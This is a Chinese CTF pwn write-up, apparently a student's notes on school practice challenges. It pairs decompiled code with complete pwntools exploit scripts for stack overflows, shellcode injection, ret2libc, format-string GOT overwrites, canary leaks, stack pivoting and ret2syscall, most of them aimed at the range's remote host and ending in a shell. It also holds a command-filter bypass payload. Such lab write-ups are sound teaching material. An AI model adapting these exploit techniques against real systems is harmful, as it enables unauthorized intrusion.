虽然之前写了一篇合集文章(戳这里)…

最近想复健一下pwn,刷了一下学校的靶场,单独公开写一篇督促一下自己…

非常非常简单考点重复的就不记了。

0x00 sandbox

一般满足过滤条件的、代替cat的指令试了几个都回显不存在,尝试加了单引号成功绕过过滤。

payload:c''at f''lag

0x01 Choice

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init();
  puts(s);
  puts("Menu:");
  puts(a1);
  puts("2.删除数据:");
  puts(a3);
  __isoc99_scanf(&unk_400A75, &v4);
  if ( v4 == 1 )
  {
    Data1();
  }
  else if ( v4 == 2 )
  {
    Data2();
  }
  else
  {
    Data3();
  }
  return 0;
}

选项3写入长度存在溢出,给了自带的shell函数,地址为0x4007BD,指向它即可。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'

local = 1
if local == 1:
    r=process('./Choice')
    gdb.attach(r,"b * 0x400978")
else:
    r = remote('1.95.36.136',2125)

ret = 0x400979

r.recvuntil("3.查询数据:\n")
payload = '3'
r.sendline(payload)

r.recvuntil("的名字:\n")
payload2 = 'a'*0x30+p64(0xdeadbeef)+p64(ret)+p64(0x4007BD)
r.sendline(payload2)

r.interactive()

0x02 overload1

覆盖v5的值为a就可以执行system函数:

0x03 你是大佬还是菜鸡

caiji()存在溢出,让其溢出后执行hint()

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'


local = 2
if local == 1:
    r=process('./pwn')
else:
    r = remote('1.95.36.136',2051)
	
r.recvuntil("Ji\n")
r.sendline("2")
payload = 'a'*0x20+p64(0xdeadbeef)+p64(0x4008AF)+p64(0x4008B0)

r.sendline(payload)

r.interactive()

0x04 Easy_ShellCode

str是全局变量,在str中写入shellcode,利用栈溢出覆盖返回地址为str的地址(0x0804A080),从而执行str中的shellcode。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r = process('./Easy_ShellCode')
else:
    r = remote('1.95.36.136',2082)

context.arch = 'i386'

r.recvuntil("Input:\n")
payload = asm(shellcraft.sh(), os = 'linux')
r.sendline(payload)

r.recvuntil("name ?:")
payload2 = 'a'*0x68+p32(0xdeadbeef)+p32(0x0804A080)
r.sendline(payload2)

r.interactive()

0x05 play

和Easy_ShellCode那题一样的,不过是64位:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r = process('./play')
else:
    r = remote('1.95.36.136',2082)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

context.arch = 'amd64'

r.recvuntil("playing.\n")
payload = asm(shellcraft.sh(), os = 'linux')
r.sendline(payload)

ret = 0x4007CB

r.recvuntil("game?")
payload2 = 'a'*0x30+p64(0xdeadbeef)+p64(ret)+p64(0x06010A0)
r.sendline(payload2)

r.interactive()

0x06 name4

int Start()
{
  char s[20]; // [esp+8h] [ebp-20h] BYREF
  int v2; // [esp+1Ch] [ebp-Ch]

  v2 = 0;
  puts("Enter your name:");
  read(0, name, 0x40u);
  puts("Enter your best friend name:");
  read(0, &::s, 0x40u);
  if ( name[0] )
    return write(1, "Are you OK?", 0xEu);
  puts("give you stack overflow:");
  gets(s);
  return printf("byebye%s\n", name);
}

分析代码,要让if()判断为false,&::s是取全局变量s的地址,在这里写入shellcode。栈里的s溢出后调用:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r = process('./name4')
else:
    r = remote('1.95.36.136',2082)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

context.arch = 'i386'

r.recvuntil("name:\n")
payload = b"\x00"
r.sendline(payload)

r.recvuntil("friend name:\n")
shellcode = asm(shellcraft.sh(), os = 'linux')
r.sendline(shellcode)

r.recvuntil("overflow:\n")
payload = 'a'*0x20+p32(0xdeadbeef)+p32(0x804A0E0)
r.sendline(payload)

r.interactive()

0x07 guess

遇见gets()函数,且已知system的地址,可以构造p32(gets)+p32(system)+p32(bss)+p32(bss)

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'


local = 1
if local == 1:
    r = process('./guess')
    #gdb.attach(r,"b * 0x08048757")
else:
    r = remote('1.13.251.106',8000)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

context.arch = 'i386'
elf = ELF('./guess')

gets = elf.plt['gets']
system = elf.plt['system']
bss = 0x804a200

r.recvuntil("try it?")
payload = 'a'*0x6C+p32(0xdeadbeef)+p32(gets)+p32(system)+p32(bss)+p32(bss)
r.sendline(payload)

r.interactive()

执行后可以输入一条命令,即system()的参数是bss的值,输入/bin/sh可以获得shell。

0x08 x64

找到/bin/sh的地址,ROPgadget --binary x64 --only "pop|ret",然后找到pop rdi ; ret的地址,传参即可:

#!/usr/bin/env python
# coding=utf-8
from pwn import *


local = 1
if local == 1:
    r = process('./x64')
else:
    r = remote('1.95.36.136',2084)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

ret = 0x0400771
pop_rdi = 0x00000000004007e3
payload = "a"*0x80+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi)+p64(0x0601060)+p64(0x04006B6)
r.sendline(payload)

r.interactive()

0x09 friend

太累了,不想写过程XD

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r = process('./friend')
    #gdb.attach(r,'b * 0x80486CE')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2088)
    

elf = ELF('./friend')

r.recvuntil("Please enter what you need:\n")
r.sendline("2")

r.recvuntil("Ret2libc\n")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

log.info("puts_plt:"+hex(puts_plt))
log.info("puts_got:"+hex(puts_got))

main = 0x0804863A

payload = 'a'*0x70+p32(0xdeadbeef)+p32(puts_plt)+p32(main)+p32(puts_got)
r.sendline(payload)

puts_addr = u32(r.recv(4))
print(hex(puts_addr)) #0x3d3d3d0a

r.recvuntil("Please enter what you need:\n")
r.sendline("2")

r.recvuntil("Ret2libc\n")

baseaddr = puts_addr - 0x5f150
system = baseaddr + 0x3a950
binsh = baseaddr + 	0x15912b

payload2 = 'a'*0x70+p32(0xdeadbeef)+p32(system)+p32(0)+p32(binsh)
r.sendline(payload2)

r.interactive()

0x0a travel

因为printf里的第一个参数可控,所以存在格式化字符串漏洞。

unsigned int vuln()
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v2; // [esp+6Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  memset(buf, 0, sizeof(buf));
  puts("Do you want to travel?");
  read(0, buf, 0x30u);
  printf(buf);
  if ( n == 4 )
    Get_Shell();
  else
    puts("Let's go!");
  return __readgsdword(0x14u) ^ v2;
}

首先需要在栈里面伪造指针,使用gdb调试,输入aaaabbbbccccdddd试试看:

r.sendline("aaaabbbbccccdddd")

%n有一个特性,前面有多少个字符串,在指定写的地址就会赋值多少,所以前面要满足是有4个字符串,可以在上述测试字符的bbbb替换为%8$n,在08的位置替换为全局变量n的地址。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'


local = 0
if local == 1:
    r = process('./travel')
    #gdb.attach(r,"b * 0x0804864A")
else:
    r = remote('1.95.36.136',2135)

sleep(1)
r.recvuntil('travel?')
r.sendline("aaaa%8$n"+p32(0x804A030))


r.interactive()

0x0b likelibc3

栈溢出,有system函数,也有/bin/sh字符串,但是需要截一下^^

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.arch = 'i386'


local = 0
if local == 1:
    r = process('./likelibc3')
else:
    r = remote('1.95.36.136',2083)

binsh = 0x8048570+len('Here is the ')
payload = 'a'*0x2C+p32(0xdeadbeef)+p32(0x08048492)+p32(binsh)
r.sendline(payload)

r.interactive()

0x0c 没人能拒绝猫猫

这题是好久以前自己出的……可以通过溢出buf来修改s2的值。

#!/usr/bin/env python
# coding=utf-8
from pwn import *


local = 1
if local == 1:
    r = process('./cat')
else:
    r = remote('node5.buuoj.cn',26737)

r.recvuntil("hatecat)\n")
payload = 'a'*32 + 'lovecat'+p64(0)
r.sendline(payload)

r.interactive()

0x0d easypwn2

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("**********************************");
  puts("*     Welcome to the 504sys!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("**********************************");
  __isoc99_scanf("%16s", s);
  if ( strchr(s, '-') )
    return 0;
  if ( atoi(s) < 0 )
    vuln();
  return 0;
}

题目目标是在不输入负号的前提下触发 vuln() 函数,让程序输出 flag。

atoi(s) 会将用户输入的字符串转换为整数,利用整数溢出使其变为负数。

atoi("2147483648") → -2147483648

0x0e getshell

已知v4的地址,向v4里写shell,溢出后再次指向v4执行shell即可。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r = process('./111111')
else:
    r = remote('1.95.36.136',2128)

context.arch = 'amd64'
shellcode = asm(shellcraft.sh(), os = 'linux')

v4_addr = r.recv(0xe)
v4_addr = int(v4_addr, 16)

payload = shellcode + 'a'*(0x70-len(shellcode))+p64(0xdeadbeef)+p64(v4_addr)+p64(0)
r.sendline(payload)

r.interactive()

0x0f Easy_Text+Fmt

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  init();
  puts("Please Input Your Lucky Number:");
  gets(s);
  printf(s);
  if ( x == 'B' )
    Choice1();
  if ( y == 'fff' )
    Choice2();
  if ( d == 48 )
    Choice3();
  else
    printf("You don't know much about string formatting, so go ahead and learn!");
  return 0;
}

32位的格式化字符串,先看第几位可控:

payload = 'aaaaaa'+ '%p' * 0x68

根据回显判断是第7位可控,可以让d == 48触发Choice3(),改d的值思路大概是这样:

0000
0000
0000
0000
0000
0000
%48c # 48个空格
%9$n # 更改第九行的地址中的值
0804A040 # d的地址
int Choice3()
{
  char v1[58]; // [esp+Eh] [ebp-3Ah] BYREF

  printf("you are good good good!,see see overload");
  puts("Try It ! Please Input:");
  return __isoc99_scanf("%s", v1);
}

__isoc99_scanf("%s", v1);同等于gets(),直接溢出到Choice4()。完整exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *


local = 1
if local == 1:
    r = process('./TextFmt')
else:
    r = remote('1.95.36.136',2128)

r.recvuntil("Lucky Number:\n")
#payload = 'aaaaaa'+ '%p' * 0x68
payload = '%48c%9$n'+ p32(0x804A040)
r.sendline(payload)

r.recvuntil("Please Input:\n")
payload2 = 'a'*0x3A + p32(0xdeadbeef) +p32(0x80486b0)
r.sendline(payload2)

r.interactive()

0x10 小猫喵喵喵

这道题分析main函数,调用了两个函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  meow();
  fish();
  return 0;
}

meow()会先调用scanf让用户输入数字。

int meow()
{
  unsigned int v0; // eax
  int result; // eax
  int v2; // [esp+8h] [ebp-10h] BYREF
  int v3; // [esp+Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  v3 = rand();
  __isoc99_scanf(&unk_8048760, &v2);
  result = v2;
  if ( v2 == v3 )
    return system("Meow!!!");
  return result;
}

fish()有栈溢出,但是程序执行到How many fish does the kitten eat直接就结束,并没有让用户输入,很怪……

char *fish()
{
  char s[108]; // [esp+Ch] [ebp-6Ch] BYREF

  puts("How many fish does the kitten eat");
  return gets(s);
}

原因是gets() 直接读到了scanf("%d") 留下的换行\n,导致直接中断了……

解决方法是可以使用\r替代\n,接下来正常栈溢出就可以了,构造p32(elf.plt[‘gets’])+p32(elf.plt[‘system’])+p32(可写地址)+p32(可写地址)

#!/usr/bin/env python
# coding=utf-8
from pwn import *


local = 0
if local == 1:
    r = process('./fish')
    gdb.attach(r,'b * 0x80486B0')
else:
    r = remote('1.95.36.136',2084)

elf = ELF('./fish')
sleep(1)
r.send('1\r')
r.recvuntil("kitten eat")
payload = 'a'*0x6B+p32(0xdeadbeef)+p32(elf.plt['gets'])+p32(elf.plt['system'])+p32(0x0804a900)+p32(0x0804a900)
r.sendline(payload)

r.interactive()

0x11 03ret2syscall_32

eax: 系统调用号(system call number)0xb
ebx: 第一个参数 /bin/sh/
ecx: 第二个参数 0
edx: 第三个参数 0
...

通过触发中断 int 0x80 来执行系统调用。

#!/usr/bin/env python
# coding=utf-8
from pwn import *


local = 0 
if local == 1:
    r = process('./03ret2syscall_32')
    #gdb.attach(r,'b * 0x0804890E')
else:
    r = remote('1.95.36.136',2131)

sleep(1)

int_0x80 = 0x0806cea3
eax_ret = 0x080b8576
edx_ecx_ebx = 0x0806f250

r.recvuntil("Luck.\n")

payload = 'a'*0x208+p32(0xdeadbeef)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(0x80EA068)+p32(int_0x80)
r.sendline(payload)

r.interactive()

0x12 look

这道题需要用write函数泄露ibc版本。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r = process('./look')
else:
    r = remote('1.95.36.136',2126)
    

elf = ELF('./look')

write_plt = elf.plt['write']
write_got = elf.got['write']

log.info("write_plt:"+hex(write_plt))
log.info("write_got:"+hex(write_got))

Star = 0x8048561
payload = 'a'*0x6C+p32(0xdeadbeef)+p32(write_plt)+p32(Star)+p32(1)+p32(write_got)+p32(4) #一次传入4字节
r.sendline(payload)
write = u32(r.recv(4))

base_addr = write - 0xd5c90
system = base_addr + 0x3adb0
binsh = base_addr + 0x15bb2b

payload = 'a'*0x6C+p32(0xdeadbeef)+p32(system)+p32(0)+p32(binsh)
r.sendline(payload)

r.interactive()

0x13 格式化字符串劫持got

int come_on()
{
  char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF
  unsigned int v2; // [esp+4Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  system("echo hhh~");
  read(0, buf, 0x50u);
  printf(buf);
  puts("echo you are good");
  puts("echo hh,the shell give you");
  printf("/bin/sh");
  return 0;
}

溢出位只有四个字符,且这道题有canary保护,不用考虑溢出getshell了,因为存在格式化字符串漏洞,且题目中会执行printf("/bin/sh");遂考虑把printf()函数的got表地址指向改为system的plt:

printf.plt jump printf.got -> system.plt jump system.got -> system真实地址

尝试寻找溢出点,发现第7位存在溢出。

payload = 'aaaa'+'%p'*0x4c -> 7

这道题是32位的程序,一个地址占4个字符,考虑用%hn一次改两个字符,%n一次改4个有点大了。

system函数的plt地址为0x08048490,0x0804的十进制为2052,0x8490的十进制为33936,还需要减去前面的2052,所以为31884,最后逻辑大概是这样:

0000
0000
0000
0000
0000
0000
%205 #从这里开始可控
2c%1
4$hn
%318
84c%
15$h
n000
printf.got+2 #小端序更改前面两个需要+2
printf.got
#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r = process('./pwn1')
else:
    r = remote('1.95.36.136',2129)
    
elf = ELF('./pwn1')
printf = elf.got['printf']

r.recvuntil("hhh~")

#payload = 'aaaa'+'%p'*0x4c -> 7
payload = '%2052c%14$hn%31884c%15$hn'+'\x00\x00\x00'+p32(printf+2)+p32(printf)
r.sendline(payload)

r.interactive()

0x14 格式化

有canary保护,首先要知道canary的值。第一步找canary的位置,发现在第31位。

payload = '%p,'*60

然后溢出引到后门函数,canary固定位置是rbp-8。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r = process('./format_canary2')
else:
    r = remote('1.95.36.136',2143)
    

elf = ELF('./format_canary2')

payload = '%31$p'
r.sendline(payload)

canary = r.recv(18)
canary = int(canary,16)

payload = 'a'*(0xD0-8)+p64(canary)+p64(0xdeadbeef)+p64(0x400805)+p64(0)
r.sendline(payload)

r.interactive()

0x15 choose

同格式化字符串 泄露canary->确定libc版本->溢出。这道题需要注意两点,一是每次的choose最好sleep一下不然payload容易黏在一起,二是libc2.27版本之前的(这道题2.23)不用平栈。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r = process('./pwn2')
    gdb.attach(r,'b * 0x40089E')
else:
    r = remote('1.95.36.136',2133)
    

elf = ELF('./pwn2')

r.recvuntil("3.Buf overflow\n")
r.sendline("1")
sleep(1)
payload = '%11$p'
r.sendline(payload)

canary = r.recv(18)
canary = int(canary,16)

r.recvuntil("3.Buf overflow\n")
r.sendline("2")

puts_got = elf.got['read']
payload = str(puts_got)
r.sendline(payload)
sleep(1)
puts_addr = u64(r.recv(6)+'\x00\x00')
print(hex(puts_addr))


base_addr = puts_addr - 0x6f6a0
system = base_addr + 0x453a0
binsh = base_addr + 0x18ce57
rdi = 0x0000000000400a93
ret = 0x00000000004005f1

r.recvuntil("3.Buf overflow\n")
r.sendline("3")
sleep(1)
payload = 'a'*(0x30-8)+p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(ret)+p64(system) 
r.sendline(payload)

r.interactive()

0x16 8字节能干什么

栈迁移,这道题原来可控的其实只有8个字节,需要把ROP链写到一个已知地址、可读可写、长度满足的地方,比如bss段。

int vuln()
{
  int buf[11]; // [esp+8h] [ebp-30h] BYREF

  memset(buf, 0, 40);
  read(0, buf, 0x38u);
  printf("%s", (const char *)buf);
  read(0, buf, 0x38u);
  return printf("%s", (const char *)buf);
}

在ida里可以找到bss段从0x804A040开始,开头有这些乱七八糟的所以最好挑中部写入,这里挑0x804A500

gdb调试,在第一个printf函数那里下断点,可以看到esp+24号开始是输入内容的地方,esp+72号是程序运行时栈的地址,相差48。

payload = 'a'*47+'b'

分析stack,可以得知b后面那四个字符就是[程序运行时栈分配的一个地址],这个地址和[输入时程序分配的栈的第一个地址]的偏移量是固定的,为0x40。因为leave_ret的汇编指令最后会add esp,4,所以需要-4。

最后把完成的system(“/bin/sh”)的ROP链写入栈,调用刚才找到的[输入时程序分配的栈的第一个地址]进行栈迁移,完整exp如下(要记得/bin/sh写在system函数的后面,否则会被system函数开辟的栈空间覆盖掉):

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 1
if local == 1:
    r = process('./11')
    gdb.attach(r,"b * 0x804858C")
    #gdb.attach(r,"b * do_system+1092")
else:
    r = remote('1.95.36.136',2064)
    
elf = ELF('./11')

sleep(1)

r.send("a"*47+"b")

r.recvuntil("aaab")

stack = u32(r.recv(4))
log.success("stack:"+hex(stack))


leave_ret = 0x804858C
system = 0x80485FB

r.send(p32(system)+p32(stack-0x18)+p32(0)+"a"*(0x30-12-8)+"/bin/sh\x00"+p32(stack-0x44)+p32(leave_ret))


r.interactive()

这道题如果不给system函数的话,还可以泄露基地址:

gdb调试,发现libc本地版本为2.23,从esp+24号开始是输入内容的地方,esp+64存的是libc内的结构体(特征是f7开头)。

通过vmmap命令可以看到基地址从0xf7d55000开始,实际存入的libc地址为0xf7f08cc0,偏移量为固定值0x1b3cc0。但是实际存入的libc地址会根据程序运行变化,需要泄露出来。

实际的libc地址离输入相差64-24=40个字符,泄露出来的地址就是libc的实际地址:

payload = 'a'*39+'b'

0x17 go

这道题开启了PIE保护,所以函数的地址每次运行都是变化的。

main函数如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Wishing you unstoppable power in gaming and life!");
  printf("csgo>>>%p\n", win);
  vuln();
  return 0;
}

执行该程序,输出:

Wishing you unstoppable power in gaming and life!
csgo>>>0x55b931d1c960
Input: Alarm clock

输出的是win函数的地址,在ida可以看到win函数的偏移量为960,所以把输出的内容-偏移量=程序的基址

#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r = process('./go')
else:
    r = remote('1.95.36.136',2109)
    
elf = ELF('./11')

r.recvuntil(">>>")
win_addr = int(r.recv(14),16)
base_addr = win_addr - 0x960

r.recvuntil("Input:")
payload = 'a'*0x30+p64(0xdeadbeef)+p64(base_addr+0x94D)+p64(0)
r.sendline(payload)

r.interactive()

0x18 format

输入no->修改n的值为4->back()->利用p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(可写地址)+p32(可写地址)->getshell
#!/usr/bin/env python
# coding=utf-8
from pwn import *

local = 0
if local == 1:
    r = process('./111')
    #gdb.attach(r,"b * 0x80487A7")
else:
    r = remote('1.95.36.136',2127)
    
elf = ELF('./111')

r.recvuntil("shell?")
r.send('no')

r.recvuntil("hacker!")
# payload = 'aaaa'+'%p '* 10 4
payload = 'aaaa%6$n'+p64(0x0804A06C)
r.sendline(payload)

r.recvuntil("666!\n")
payload = 'a'*0x18 +p32(0xdeadbeef)+p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(0x0804a500)+p32(0x0804a500)
r.sendline(payload)


r.interactive()